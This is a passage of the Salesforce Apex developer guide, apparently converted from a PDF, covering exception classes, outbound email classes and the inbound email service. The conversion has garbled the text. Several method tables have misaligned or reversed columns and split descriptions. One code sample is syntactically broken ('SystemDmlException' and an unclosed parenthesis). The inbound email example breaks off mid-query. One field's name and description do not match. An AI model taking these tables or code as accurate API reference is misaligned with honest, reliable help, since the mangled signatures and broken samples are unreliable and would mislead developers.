| getUserType                 | String    | String      | Returns the context user's type                                                           |
| isCurrentUserLicensed       | String    | Boolean     | Returns true if the context user has a license to the managed package denoted by namespace. Otherwise, returns false.  
|                             | namespace |             | A TypeException is thrown if namespace is an invalid parameter.                           |
| isMultiCurrencyOrganization|           | Boolean     | Specifies whether the organization uses multiple currencies                              |

**Using Exception Methods**

All exceptions support built-in methods for returning the error message and exception type. In addition to the standard exception class, there are several different types of exceptions:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AsyncException</td>
<td>Any issue with an asynchronous operation, such as failing to enqueue an asynchronous call.</td>
</tr>
<tr>
<td>CalloutException</td>
<td>Any issue with a Web service operation, such as failing to make a callout to an external system.</td>
</tr>
<tr>
<td>DmlException</td>
<td>Any issue with a DML statement, such as an insert statement missing a required field on a record.</td>
</tr>
<tr>
<td>Exception</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>EmailException</td>
<td>Any issue with email, such as failure to deliver. For more information, see Apex Email Classes on page 327.</td>
</tr>
<tr>
<td>InvalidParameterValueException</td>
<td>Any issue with a URL. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>ListException</td>
<td>Any issue with a list, such as attempting to access an index that is out of bounds.</td>
</tr>
<tr>
<td>MathException</td>
<td>Any issue with a mathematical operation, such as dividing by zero.</td>
</tr>
<tr>
<td>NoAccessException</td>
<td>Any issue with unauthorized access, such as trying to access an sObject that the current user does not have access to. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>NoDataNotFoundException</td>
<td>Any issue with data that does not exist, such as trying to access an sObject that has been deleted. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>NoSuchElementException</td>
<td>Used specifically by the Iterator next method. This exception is thrown if you try to access items beyond the end of the list. For example, if iterator.hasNext() == false and you call iterator.next(), this exception is thrown.</td>
</tr>
<tr>
<td>NullPointerException</td>
<td>Any issue with dereferencing null, such as in the following code:</td>
</tr>
<tr>
<td></td>
<td>String s;</td>
</tr>
<tr>
<td></td>
<td>s.toLowerCase(); // Since s is null, this call causes // a NullPointerException</td>
</tr>
<tr>
<td>QueryException</td>
<td>Any issue with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject variable.</td>
</tr>
<tr>
<td>RequiredFeatureMissing</td>
<td>A Chatter feature is required for code that has been deployed to an organization that does not have Chatter enabled.</td>
</tr>
<tr>
<td>SearchException</td>
<td>Any issue with SOSL queries executed with the Force.com Web services API search() call, for example, when the searchString parameter contains less than two characters. For more information, see the Force.com Web services API Developer's Guide.</td>
</tr>
<tr>
<td>SecurityException</td>
<td>Any issue with static methods in the Crypto utility class. For more information, see Crypto Class on page 383.</td>
</tr>
<tr>
<td>SerializationException</td>
<td>Any issue with the serialization of data. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>SObjectException</td>
<td>Any issue with sObject records, such as attempting to change a field in an update statement that can only be changed during insert.</td>
</tr>
<tr>
<td>StringException</td>
<td>Any issue with Strings, such as a String that is exceeding your heap size.</td>
</tr>
<tr>
<td>TypeException</td>
<td>Any issue with type conversions, such as attempting to convert the String 'a' to an Integer using the valueOf method.</td>
</tr>
<tr>
<td>VisualforceException</td>
<td>Any issue with a Visualforce page. For more information on Visualforce, see the Visualforce Developer's Guide.</td>
</tr>
<tr>
<td>XmlException</td>
<td>Any issue with the XmlStream classes, such as failing to read or write XML. For more information, see XmlStream Classes on page 390.</td>
</tr>
</tbody>
</table>
The following is an example using the DmlException exception:

```java
Account[] accts = new Account[]{new Account(billingcity = 'San Jose')};
try {
    insert accts;
} catch (System.DmlException e) {
    for (Integer i = 0; i < e.getNumDml(); i++) {
        // Process exception here
        System.debug(e.getDmlMessage(i));
    }
}
```

### Common Exception Methods

Exception methods are all called by and operate on a particular instance of an exception. The table below describes all instance exception methods. All types of exceptions have the following methods in common:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getCause</td>
<td>Exception</td>
<td>Exception</td>
<td>Returns the cause of the exception as an exception object.</td>
</tr>
<tr>
<td>getLineNumber</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the line number from where the exception was thrown.</td>
</tr>
<tr>
<td>getMessage</td>
<td>String</td>
<td>String</td>
<td>Returns the error message that displays for the user.</td>
</tr>
<tr>
<td>getStackTraceString</td>
<td>String</td>
<td>String</td>
<td>Returns the stack trace as a string.</td>
</tr>
<tr>
<td>getTypeName</td>
<td>String</td>
<td>String</td>
<td>Returns the type of exception, such as DMLException, ListException, MathException, and so on.</td>
</tr>
<tr>
<td>initCause</td>
<td>sObject Exception</td>
<td>Void</td>
<td>Sets the cause for the exception, if one has not already been set.</td>
</tr>
<tr>
<td>setMessage</td>
<td>String s</td>
<td>Void</td>
<td>Sets the error message that displays for the user</td>
</tr>
</tbody>
</table>

### DMLException and EmailException Methods

In addition to the common exception methods, DMLExceptions and EmailExceptions have the following additional methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDmlFieldNames</td>
<td>Integer i</td>
<td>String []</td>
<td>Returns the names of the field or fields that caused the error described by the i\textsuperscript{th} failed row.</td>
</tr>
<tr>
<td>getDmlFields</td>
<td>Integer i</td>
<td>Schema.sObjectField []</td>
<td>Returns the field token or tokens for the field or fields that caused the error described by the i\textsuperscript{th} failed row. For more information on field tokens, see Dynamic Apex on page 142.</td>
</tr>
<tr>
<td>getDmlId</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the ID of the failed record that caused the error described by the i\textsuperscript{th} failed row.</td>
</tr>
<tr>
<td>getDmlIndex</td>
<td>Integer i</td>
<td>Integer</td>
<td>Returns the original row position of the i\textsuperscript{th} failed row.</td>
</tr>
<tr>
<td>getDmlMessage</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the user message for the i\textsuperscript{th} failed row.</td>
</tr>
<tr>
<td>getDmlStatusCode</td>
<td>Integer i</td>
<td>String</td>
<td>Deprecated. Use getDmlType instead. Returns the Apex failure code for the i\textsuperscript{th} failed row.</td>
</tr>
</tbody>
</table>
Returns the value of the System.StatusCode enum. For example:

```java
try {
    insert new Account();
} catch (SystemDmlException ex) {
    System.assertEquals(System.StatusCode.REQUIRED_FIELD_MISSING,
                         ex.getDmlType(0);
}
```

For more information about System.StatusCode, see Enums on page 39.

Returns the number of failed rows for DML exceptions.

### Apex Classes

Though you can create your classes using Apex, you can also use the system delivered classes for building your application.

- Apex Email Classes
- Exception Class
- Visualforce Classes
- Pattern and Matcher Classes
- HTTP (RESTful) Services Classes
- XML Classes
- Apex Approval Processing Classes
- BusinessHours Class
- Apex Community Classes
- Site Class
- Cookie Class

### Apex Email Classes

Apex includes several classes and objects you can use to access Salesforce outbound and inbound email functionality.

For more information, see the following:

- Inbound Email on page 337
- Outbound Email on page 327

### Outbound Email

You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.

**Note:** Visualforce email templates cannot be used for mass email.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened, and the total number of times it was opened. (For more information, see “Tracking HTML Email” in the Salesforce online help.)

To send individual and mass email with Apex, use the following classes:

**SingleEmailMessage**

Instantiates an email object used for sending a single email message. The syntax is:

```java
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
```

**MassEmailMessage**

Instantiates an email object used for sending a mass email message. The syntax is:

```java
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
```

**Messaging**

Includes the static `sendEmail` method, which sends the email objects you instantiate with either the `SingleEmailMessage` or `MassEmailMessage` classes, and returns a `SendEmailResult` object.

The syntax for sending an email is:

```java
Messaging.sendEmail(new Messaging.Email[] { mail }, opt_allOrNone);
```

where `Email` is either `Messaging.SingleEmailMessage` or `Messaging.MassEmailMessage`.

The optional `opt_allOrNone` parameter specifies whether `sendEmail` prevents delivery of all other messages when any of the messages fail due to an error (`true`), or whether it allows delivery of the messages that don’t have errors (`false`). The default is `true`.

Includes the static `reserveMassEmailCapacity` and `reserveSingleEmailCapacity` methods, which can be called before sending any emails to ensure that the sending organization won’t exceed its daily email limit when the transaction is committed and emails are sent. The syntax is:

```java
Messaging.reserveMassEmailCapacity(count);
```

and

```java
Messaging.reserveSingleEmailCapacity(count);
```

where `count` indicates the total number of addresses that emails will be sent to.

Note the following:

- The email is not sent until the Apex transaction is committed.
- The email address of the user calling the `sendEmail` method is inserted in the From Address field of the email header. All email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
- Maximum of 10 `sendEmail` methods per transaction. Use the `Limits methods` to verify the number of `sendEmail` methods in a transaction.
- Single email messages sent with the `sendEmail` method count against the sending organization’s daily single email limit. When this limit is reached, calls to the `sendEmail` method using `SingleEmailMessage` are rejected, and the user receives a `SINGLE_EMAIL_LIMIT_EXCEEDED` error code. However, single emails sent through the application are allowed.
- Mass email messages sent with the `sendEmail` method count against the sending organization's daily mass email limit. When this limit is reached, calls to the `sendEmail` method using `MassEmailMessage` are rejected, and the user receives a `MASS_MAIL_LIMIT_EXCEEDED` error code.
- Any error returned in the `SendEmailResult` object indicates that no email was sent.

`Messaging.SingleEmailMessage` has a method called `setOrgWideEmailAddressId`. It accepts an object ID to an `OrgWideEmailAddress` object. If `setOrgWideEmailAddressId` is passed a valid ID, the `OrgWideEmailAddress.DisplayName` field is used in the email header, instead of the logged-in user's `DisplayName`. The sending email address in the header is also set to the field defined in `OrgWideEmailAddress.Address`.

**Note:** If both `OrgWideEmailAddress.DisplayName` and `setSenderDisplayName` are defined, the user receives a `DUPLICATE_SENDER_DISPLAY_NAME` error.

For more information, see “Organization-Wide Addresses” in the Salesforce online help.

**Example**

```java
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);

// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.

// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};

// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);

// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');

// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');

// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' + case.Id);

// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);

// Optionally append the salesforce.com email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);

// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' + case.Id +' has been created');

// Send the email you have created.
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
```
For more information, see the following:

• Base Email Methods on page 330
• Single Email Message Methods on page 331
• Mass Email Message Methods on page 333
• EmailFileAttachment Methods on page 335
• Messaging Methods on page 336
• Messaging.SendEmailResult Object Methods on page 336
• SendEmailError Object Methods on page 337

Base Email Methods

The following table contains the email object methods used when sending both single and mass email.

Note: If templates are not being used, all email content must be in plain text, HTML, or both. Visualforce email templates cannot be used for mass email.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setBccSender</td>
<td>Boolean</td>
<td>Void</td>
<td>Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your salesforce.com representative for information on BCC compliance.</td>
</tr>
<tr>
<td>setReplyTo</td>
<td>String</td>
<td>Void</td>
<td>Optional. The email address that receives the message when a recipient replies.</td>
</tr>
<tr>
<td>setTemplateID</td>
<td>ID</td>
<td>Void</td>
<td>The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.</td>
</tr>
<tr>
<td>setSaveAsActivity</td>
<td>Boolean</td>
<td>Void</td>
<td>Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates.</td>
</tr>
<tr>
<td>setSenderDisplayName</td>
<td>String</td>
<td>Void</td>
<td>Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a</td>
</tr>
</tbody>
</table>
Single Email Message Methods

The following table contains the email object methods used when sending a single email. These are in addition to the base email methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setUseSignature</td>
<td>Boolean</td>
<td>Void</td>
<td>Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.</td>
</tr>
<tr>
<td>setBccAddresses</td>
<td>String[]</td>
<td>Void</td>
<td>Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used. At least one value must be specified in one of the following fields: toAddresses, ccAddresses, bccAddresses, targetObjectId, or targetObjectIds. If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your salesforce.com representative for information on BCC compliance.</td>
</tr>
<tr>
<td>setCcAddresses</td>
<td>String[]</td>
<td>Void</td>
<td>Optional. A list of carbon copy (CC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used. All email must have a recipient value of at least one of the following: toAddresses, ccAddresses, bccAddresses, targetObjectId, or targetObjectIds</td>
</tr>
<tr>
<td>setCharset</td>
<td>String</td>
<td>Void</td>
<td>Optional. The character set for the email. If this value is null, the user's default value is used.</td>
</tr>
<tr>
<td>setDocumentAttachments</td>
<td>ID[]</td>
<td>Void</td>
<td>Optional. A list containing the ID of each document object you want to attach to the email. You can attach multiple documents as long as</td>
</tr>
<tr>
<td>Name</td>
<td>Argument Type</td>
<td>Returns</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>------------------------</td>
<td>---------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>setFileAttachments</td>
<td>EmailFileAttachment[]</td>
<td>Void</td>
<td>the total size of all attachments does not exceed 10 MB. Optional. A list containing the file names of the binary and text files you want to attach to the email. You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.</td>
</tr>
<tr>
<td>setHtmlBody</td>
<td>String</td>
<td>Void</td>
<td>Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.</td>
</tr>
<tr>
<td>setInReplyTo</td>
<td>String</td>
<td>Void</td>
<td>Optional. The In-Reply-To field of the outgoing email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.</td>
</tr>
<tr>
<td>setPlainTextBody</td>
<td>String</td>
<td>Void</td>
<td>Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.</td>
</tr>
<tr>
<td>setOrgWideEmailAddressId</td>
<td>ID</td>
<td>Void</td>
<td>Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field cannot be set if the setSenderId field is already set.</td>
</tr>
<tr>
<td>setReferences</td>
<td>String</td>
<td>Void</td>
<td>Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message IDs, and possibly the In-Reply-To fields.</td>
</tr>
<tr>
<td>setSubject</td>
<td>String</td>
<td>Void</td>
<td>Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.</td>
</tr>
<tr>
<td>setTargetObjectId</td>
<td>ID</td>
<td>Void</td>
<td>Optional. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data. Do not specify the IDs of records that have the Email Opt Out option selected. All email must have a recipient value of at least one of the following:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• toAddresses</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• ccAddresses</td>
</tr>
</tbody>
</table>
Mass Email Message Methods

The following table contains the unique email object methods used when sending mass email. These are in addition to the base email methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setDescription</td>
<td>String</td>
<td>Void</td>
<td>The description of the email.</td>
</tr>
</tbody>
</table>
| setTargetObjectIds | ID[]         | Void    | A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users). You can list
Description| Returns| Argument Type| Name |
---|---|---|---|
up to 250 IDs per email. If you specify a value for the `targetObjectIds` field, optionally specify a `whatId` as well to set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data. Do not specify the IDs of records that have the Email Opt Out option selected. | Void| ID[]| setWhatIds |
All email must have a recipient value of at least one of the following: | | | |
| toAddresses | ccAddresses | bccAddresses | targetObjectId | targetObjectIds |
Optional. If you specify a list of contacts for the `targetObjectIds` field, you can specify a list of `whatIds` as well. This helps to further ensure that merge fields in the template contain the correct data. The values must be one of the following types: | Void| ||
| Contract | Case | Opportunity | Product |
**Note:** If you specify `whatIds`, specify one for each `targetObjectId`; otherwise, you will receive an `INVALID_ID_FIELD` error. |

In addition, the `Messaging.MassEmailMessage` class has access to the base email message methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.</td>
<td>Void</td>
<td>Boolean</td>
<td>setBccSender</td>
</tr>
</tbody>
</table>
**Note:** If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: `BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED`. Contact
<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setReplyTo</td>
<td>String</td>
<td>Void</td>
<td>Optional. The email address that receives the message when a recipient replies.</td>
</tr>
<tr>
<td>setTemplateID</td>
<td>ID</td>
<td>Void</td>
<td>The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.</td>
</tr>
<tr>
<td>setSaveAsActivity</td>
<td>Boolean</td>
<td>Void</td>
<td>Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates.</td>
</tr>
<tr>
<td>setSenderDisplayName</td>
<td>String</td>
<td>Void</td>
<td>Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.</td>
</tr>
<tr>
<td>setUseSignature</td>
<td>Boolean</td>
<td>Void</td>
<td>Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.</td>
</tr>
</tbody>
</table>

**EmailFileAttachment Methods**

The EmailFileAttachment object is used in the SingleEmailMessage object to specify attachments passed in as part of the request, as opposed to existing documents in Salesforce.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setBody</td>
<td>Blob attachment</td>
<td>Void</td>
<td>The attachment itself.</td>
</tr>
<tr>
<td>setContentType</td>
<td>String content_type</td>
<td>Void</td>
<td>The attachment's Content-Type.</td>
</tr>
<tr>
<td>setFileName</td>
<td>String file_name</td>
<td>Void</td>
<td>The name of the file to attach.</td>
</tr>
<tr>
<td>setInline</td>
<td>Boolean Content-Disposition</td>
<td>Void</td>
<td>Specifies a Content-Disposition of inline (true) or attachment (false). In most cases, inline content is displayed to the user when the message is opened. Attachment content requires user action to be displayed.</td>
</tr>
</tbody>
</table>
### Messaging Methods

The following table contains the Messaging methods used when sending a single or mass email.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>reserveMass EmailCapacity</td>
<td>Integer</td>
<td>Void</td>
<td>Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits. This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error: System.LimitException: The daily limit for the org would be exceeded by this request.</td>
</tr>
<tr>
<td>reserveSingle</td>
<td>Integer</td>
<td>Void</td>
<td>Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits. This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error: System.LimitException: The daily limit for the org would be exceeded by this request.</td>
</tr>
<tr>
<td>sendEmail</td>
<td>Messaging.Email[]</td>
<td>Messaging.SendEmailResult[]</td>
<td>Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a SendEmailResult object. The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of the messages fail due to an error (true), or whether it allows delivery of the messages that don’t have errors (false). The default is true.</td>
</tr>
</tbody>
</table>

### Messaging.SendEmailResult Object Methods

The sendEmail method returns a list of SendEmailResult objects. Each SendEmailResult object has the following methods. These methods take no arguments.

<table>
<thead>
<tr>
<th>Name</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>SendEmailError[]</td>
<td>If an error occurred during the sendEmail method, a SendEmailError object is returned.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.</td>
</tr>
</tbody>
</table>
SendEmailError Object Methods

The SendEmailResult object may contain a SendEmailError object, which has the following methods. These methods take no arguments.

<table>
<thead>
<tr>
<th>Name</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getFields</td>
<td>String[]</td>
<td>A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.</td>
</tr>
<tr>
<td>getMessage</td>
<td>String</td>
<td>The text of the error message.</td>
</tr>
<tr>
<td>getStatusCode</td>
<td>System.StatusCode</td>
<td>A code that characterizes the error. The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.</td>
</tr>
<tr>
<td>getTargetObjectId</td>
<td>String</td>
<td>The ID of the target record for which the error occurred.</td>
</tr>
</tbody>
</table>

Inbound Email

You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by Apex classes that utilize the InboundEmail object.

Note: The Apex email service is only available in Developer, Enterprise and Unlimited Edition organizations.

This section contains information about the following:

- What is the Apex Email Service?
- Using the InboundEmail Object
- InboundEmail Object
- InboundEmail.Header Object
- InboundEmail.BinaryAttachment Object
- InboundEmail.TextAttachment Object
- InboundEmailResult Object
- InboundEnvelope Object

What is the Apex Email Service?

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages.

You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for processing. To give multiple users access to a single email service, you can:

- Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
- Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user’s email address and creates records on behalf of that user.

To use email services, click Your Name ➤ Setup ➤ Develop ➤ Email Services.

- Click New Email Service to define a new email service.
• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
• Click **Edit** to make changes to an existing email service.
• Click **Delete** to delete an email service.

**Note:** Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production organization.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender’s email address.
• Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set).

**Using the InboundEmail Object**

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents and attachments of that email. You can use Apex classes that implement the `Messaging.InboundEmailHandler` interface to handle an inbound email message. Using the `handleInboundEmail` method in that class, you can access an `InboundEmail` object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

**Example 1: Create Tasks for Contacts**

The following is an example of how you can look up a contact based on the inbound email address and create a new task.

```appljava
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
  global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email, Messaging.InboundEnvelope env) {
    // Create an inboundEmailResult object for returning the result of the Apex Email Service
    Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
    String myPlainText = '';  // Add the email plain text into the local variable
    myPlainText = email.plainTextBody;
    // New Task object to be created
    Task[] newTask = new Task[0];
    // Try to lookup any contacts based on the email from address
    // If there is more than 1 contact with the same email address,
    // an exception will be thrown and the catch statement will be called.
    try {
      Contact vCon = [Select Id, Name, Email
```
InboundEmail Object

An InboundEmail object has the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>binaryAttachments</td>
<td>InboundEmail.BinaryAttachment[]</td>
<td>A list of binary attachments received with the email, if any.</td>
</tr>
<tr>
<td>ccAddresses</td>
<td>String[]</td>
<td>A list of carbon copy (CC) addresses, if any</td>
</tr>
<tr>
<td>fromAddress</td>
<td>String</td>
<td>The email address that appears in the From field</td>
</tr>
<tr>
<td>fromName</td>
<td>String</td>
<td>The name that appears in the From field, if any</td>
</tr>
<tr>
<td>headers</td>
<td>InboundEmail.Header[]</td>
<td>A list of the RFC 2822 headers in the email, including:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Received from</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Custom headers</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Message-ID</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Date</td>
</tr>
</tbody>
</table>
## Reference: Apex Email Classes

### InboundEmail.Header Object

An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the header parameter, such as Date or Message-ID</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the header</td>
</tr>
</tbody>
</table>

### InboundEmail Object

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>The HTML version of the email, if specified by the sender</td>
</tr>
<tr>
<td>htmlBodyIsTruncated</td>
<td>Boolean</td>
<td>Indicates whether the HTML body text is truncated (true) or not (false).</td>
</tr>
<tr>
<td>inReplyTo</td>
<td>String</td>
<td>The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.</td>
</tr>
<tr>
<td>messageId</td>
<td>String</td>
<td>The Message-ID—the incoming email's unique identifier</td>
</tr>
<tr>
<td>plainTextBody</td>
<td>String</td>
<td>The plain text version of the email, if specified by the sender</td>
</tr>
<tr>
<td>plainTextBodyIsTruncated</td>
<td>Boolean</td>
<td>Indicates whether the plain body text is truncated (true) or not (false).</td>
</tr>
<tr>
<td>references</td>
<td>String []</td>
<td>The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.</td>
</tr>
<tr>
<td>replyTo</td>
<td>String</td>
<td>The email address that appears in the reply-to header. If there is no reply-to header, this field is identical to the fromAddress field.</td>
</tr>
<tr>
<td>subject</td>
<td>String</td>
<td>The subject line of the email, if any</td>
</tr>
<tr>
<td>textAttachments</td>
<td>InboundEmail.TextAttachment[]</td>
<td>A list of text attachments received with the email, if any</td>
</tr>
<tr>
<td>toAddresses</td>
<td>String []</td>
<td>The email address that appears in the To field</td>
</tr>
</tbody>
</table>

The text attachments can be any of the following:
- Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
